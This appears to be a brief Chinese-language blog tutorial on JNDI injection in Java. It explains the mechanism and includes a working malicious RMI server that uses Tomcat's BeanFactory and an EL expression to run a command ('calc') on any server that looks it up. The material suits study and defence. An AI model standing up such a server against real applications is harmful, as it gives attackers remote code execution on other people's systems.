首页 > 其他分享 >jndi

jndi

时间:2023-07-02 21:22:33浏览次数:32  
标签:java jndi import new naming rmi javax

原理

JNDI是给Java应用提供命名和目录的API编程接口
可以访问的服务

  • JDBC
  • RMI
  • LDAP
    等等
    jndi访问rmi的demo
import javax.naming.Context;  
import javax.naming.InitialContext;  
import javax.naming.NamingException;  
import java.util.Hashtable;  
  
public class Main {  
public static void main(String[] args) throws NamingException {  
Hashtable<String, String> env=new Hashtable<String, String>();  
env.put(Context.INITIAL_CONTEXT_FACTORY,"java.naming.factory.initial.RegistryFactory");  
env.put(Context.PROVIDER_URL,"RMIurl");  
InitialContext c=new InitialContext(env);  
String name = "test";  
int context = 114514;  
c.bind(name,context);  
Object o = c.lookup("test");  
System.out.println(o);  
}  
}

将name作为一个用户请求参数传入,如果name是一个完整的url字符串,就会请求这个url,通过这一点,可以让服务器加载恶意类或者进行反序列化

利用

远程Factory类加载(低版本)

构造一个rmi服务

import java.rmi.registry.*;

import com.sun.jndi.rmi.registry.*;

import javax.naming.*;

import org.apache.naming.ResourceRef;

public class EvilRMIServerNew {

    public static void main(String[] args) throws Exception {

        Registry registry = LocateRegistry.createRegistry(1097);

        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);

        ref.add(new StringRefAddr("forceString", "x=eval"));

        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String)']('calc').start()\")"));

  

        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);

        registry.bind("Object", referenceWrapper);

    }

}

本地Factory类加载(高版本)

利用Tomcat Server中的org.apache.nameing.factory.BeanFactory

反序列化

yso可梭

标签:java,jndi,import,new,naming,rmi,javax
From: https://www.cnblogs.com/V3g3t4ble/p/17521438.html

相关文章

  • Tomcat5.5 JNDI配置
     JNDI是J2EE中一个很重要的标准,通常我们是在J2EE编程中用到,Tomcat中提供了在JSP和Servelt中直接使用JNDI的方法,主要是通过dbcp连接池,下面谈一下我在Tomcat5.5中配置和使用JNDI的方法。本文的对象是对j2ee编程有所了解的读者,或者已经看过了我的Blog:tomcat的基本配置说明  ......
  • Tomcat JNDI 配置
    context.mxldruidjndi<Resourcename="jdbc/mysqldatasource"factory="com.alibaba.druid.pool.DruidDataSourceFactory"auth="Container"type="javax.sql.DataSource"driverClassName="com.mysql.jdbc.Driver&......
  • Tomcat6.0配置JNDI数据源完整例子(5.5与此配置相同)
    关键字:Tomcat6.0配置JNDI数据源注意事项:tomcatJDK一定要和应用程序的JDK版本一致(本例中统一JDK1.6)说明:tomcat5.5与6.0的配置略有不同,即:tomcat的lib位置不同(其他完全一致),6.0位置是:D:\我的工具\apache-tomcat-6.0.10\lib下5.5位置是:D:\我的工具\apa......
  • log4j JNDI注入漏洞
    log4jJNDI注入漏洞目录log4jJNDI注入漏洞一、LDAP介绍二、JDBC介绍三、JNDI介绍四、JNDI命名引用五、log4jJNDI注入漏洞一、LDAP介绍​ LDAP是一种协议,LDAP的全称是LightweightDirectoryAccessProtocol,轻量目录访问协议。二、JDBC介绍​ JDBC是一种规范,JDBC的全称......
  • java反序列化(五) JNDI注入
    JNDI注入前置知识JNDIJNDI(JavaNamingandDirectoryInterface)是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口。可以通过字符串来锁定一个对象JNDI支持的服务主要有以下几种:RMI(JAVA远程方法调用)LDAP(轻量级目录访问协......
  • java反序列化(五) JNDI注入
    JNDI注入前置知识JNDIJNDI(JavaNamingandDirectoryInterface)是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口。可以通过字符串来锁定一个对象JNDI支持的服务主要有以下几种:RMI(JAVA远程方法调用)LDAP(轻量级目录访问协......
  • javasec(八)jndi注入
    JNDIJNDI(全称JavaNamingandDirectoryInterface)是用于目录服务的JavaAPI,它允许Java客户端通过名称发现和查找数据和资源(以Java对象的形式)。与主机系统接口的所有Javaapi一样,JNDI独立于底层实现。此外,它指定了一个服务提供者接口(SPI),该接口允许将目录服务实现插入到框架中......
  • tomcat配置全局和私有JNDI数据源
    本人CentOS上部署了tomcat,在配置JNDI数据源时,先后遇到了两种报错。第一种,CannotcreateJDBCdriverofclass''forconnectURL'null',这个根据我个人理解是没有获取到数据源的任何信息,只要根据配置的方式(全局或私有)检查一下配置文件即可;第二种,CannotcreatePoo......
  • JNDI(Java Naming and Directory Interface–Java命名和目录接口)
    JNDI(JavaNamingandDirectoryInterface,Java命名和目录接口)为应用程序提供了一种通过网络访问远程服务的方式。本节我们学习如何通过JNDIAPI注册和访问JDBC数据源对象。读者如果需要了解更多JNDI相关细节,则可参考JNDI规范文档。JNDIAPI的命名服务可以把一个逻辑名称和一个具......
  • 【漏洞复现】Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)
    【漏洞复现】ApacheLog4j2lookupJNDI注入漏洞(CVE-2021-44228)0x01漏洞描述ApacheLog4j2是一个基于Java的日志记录工具,是对Log4j的升级,它比其前身Log4j1.x......